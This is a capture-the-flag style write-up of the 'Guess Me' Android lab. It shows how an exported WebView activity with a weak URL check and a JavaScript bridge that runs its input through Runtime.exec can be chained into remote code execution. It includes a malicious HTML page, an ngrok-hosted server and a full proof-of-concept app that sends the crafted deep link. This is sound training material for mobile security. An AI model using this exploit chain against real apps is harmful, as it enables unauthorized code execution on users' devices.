img-description

Introduction

Welcome to the “Guess Me” Deep Link Exploitation Challenge! Immerse yourself in the world of cybersecurity with this hands-on lab. This challenge revolves around a fictitious “Guess Me” app, shedding light on a critical security flaw related to deep links that can lead to remote code execution within the app’s framework.

Objective

Exploit a Deep Link Vulnerability for Remote Code Execution: Your mission is to manipulate the deep link functionality in the “Guess Me” Android application, allowing you to execute remote code and gain unauthorized access.

Skills Required

Android App Development Knowledge: A basic understanding of Android app development is essential. Deep Linking Understanding: Familiarity with deep linking concepts and their implications in app security. Remote Code Execution Concepts: Basic knowledge of remote code execution and its potential impact.

This com.mobilehackinglab.guessme.WebviewActivity is for handling mhl://mobilehackinglab links, and it is explicitly exported to allow other apps to invoke it. The intent-filter enables it to respond to VIEW intents with the specified scheme and host, making it accessible for browsing.

<activity
    android:name="com.mobilehackinglab.guessme.WebviewActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="mhl"
            android:host="mobilehackinglab"/>
    </intent-filter>
</activity>

In this WebviewActivity, the onCreate method initializes a WebView and enables JavaScript execution. It also adds a JavaScript interface called AndroidBridge, and processes a deep link with handleDeepLink() passed via getIntent().

public final class WebviewActivity extends AppCompatActivity {
    private WebView webView;

    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        ...
        webSettings.setJavaScriptEnabled(true);
        ...
        webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
        ...
        handleDeepLink(getIntent());
    }
}
private final void handleDeepLink(Intent intent) {
    Uri uri = intent != null ? intent.getData() : null;
    if (uri != null) {
        if (isValidDeepLink(uri)) {
            loadDeepLink(uri);
        } else {
            loadAssetIndex();
        }
    }
}

The handleDeepLink method retrieves the URI from the Intent and checks if it’s valid. If the deep link is valid, it loads the deep link content, otherwise, it loads an asset index.

private final boolean isValidDeepLink(Uri uri) {
    if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && !Intrinsics.areEqual(uri.getScheme(), "https")) || !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
        return false;
    }
    String queryParameter = uri.getQueryParameter("url");
    return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
}

The loadDeepLink method extracts the “url” query parameter from the Uri, converts it to a string, and then loads the URL into the WebView for display.

private final void loadDeepLink(Uri uri) {
    String fullUrl = String.valueOf(uri.getQueryParameter("url"));
    WebView webView = this.webView;
    ...
    webView.loadUrl(fullUrl);
    ...
}

The loadAssetIndex method loads a local HTML file index.html from the app’s assets folder into the WebView.

private final void loadAssetIndex() {
    WebView webView = this.webView;
    ...
    webView.loadUrl("file:///android_asset/index.html");
}

The MyJavaScriptInterface class provides two methods for JavaScript interaction with the Android app. The loadWebsite method loads a specified URL into the WebView. The getTime method executes a system command to fetch the output and returns it as a string without sanitizing the string input.

public final class MyJavaScriptInterface {
    public MyJavaScriptInterface() {
    }

    @JavascriptInterface
    public final void loadWebsite(String url) {
        ...
        WebView webView = WebviewActivity.this.webView;
        ...
        webView.loadUrl(url);
    }

    @JavascriptInterface
    public final String getTime(String Time) {
        Intrinsics.checkNotNullParameter(Time, "Time");
        try {
            Process process = Runtime.getRuntime().exec(Time);
            InputStream inputStream = process.getInputStream();
            Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
            Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
            BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
            String readText = TextStreamsKt.readText(reader);
            reader.close();
            return readText;
        } catch (Exception e) {
            return "Error getting time";
        }
    }
}

When clicked, the loadWebsite() JavaScript function redirects the user to “https://www.mobilehackinglab.com/". Additionally, it fetches the system time from the Android app using the AndroidBridge.getTime() method, displays the time of visit in the paragraph,

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>

<p id="result">Thank you for visiting</p>

<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>

<script>

    function loadWebsite() {
       window.location.href = "https://www.mobilehackinglab.com/";
    }

    // Fetch and display the time when the page loads
    var result = AndroidBridge.getTime("date");
    var lines = result.split('\n');
    var timeVisited = lines[0];
    var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
    document.getElementById('result').innerText = fullMessage;

</script>

</body>
</html>

We need now to modify our own index.html file to execute a command whoami as follows

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>

<p id="result">Thank you for visiting</p>

<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>

<script>

    function loadWebsite() {
       window.location.href = "https://www.mobilehackinglab.com/";
    }

    // Fetch and display the time when the page loads
    var result = AndroidBridge.getTime("whoami");
    var lines = result.split('\n');
    var timeVisited = lines[0];
    var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
    document.getElementById('result').innerText = fullMessage;

</script>

</body>
</html>

Next we create a python server on the current directory with our exploit

python -m http.server

We use ngrok to server the file in the localhost

ngrok http http://localhost:8000

We then write a poc to trigger the exploit and run out command

package com.example.test;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.widget.Button;

import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {
            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
            return insets;
        });

        Button button = findViewById(R.id.button);
        button.setOnClickListener(v -> {
            Intent intent = new Intent();
            intent.setClassName("com.mobilehackinglab.guessme", "com.mobilehackinglab.guessme.WebviewActivity");
            // the app checks is the url ends with mobilehackinglab.com soo we incluse it
            intent.setData(Uri.parse("mhl://mobilehackinglab?url=https://c59f-41-90-188-113.ngrok-free.app/index.html?mobilehackinglab.com"));
            startActivity(intent);
        });
    }
}

Finally our command gets executed successfully

img-description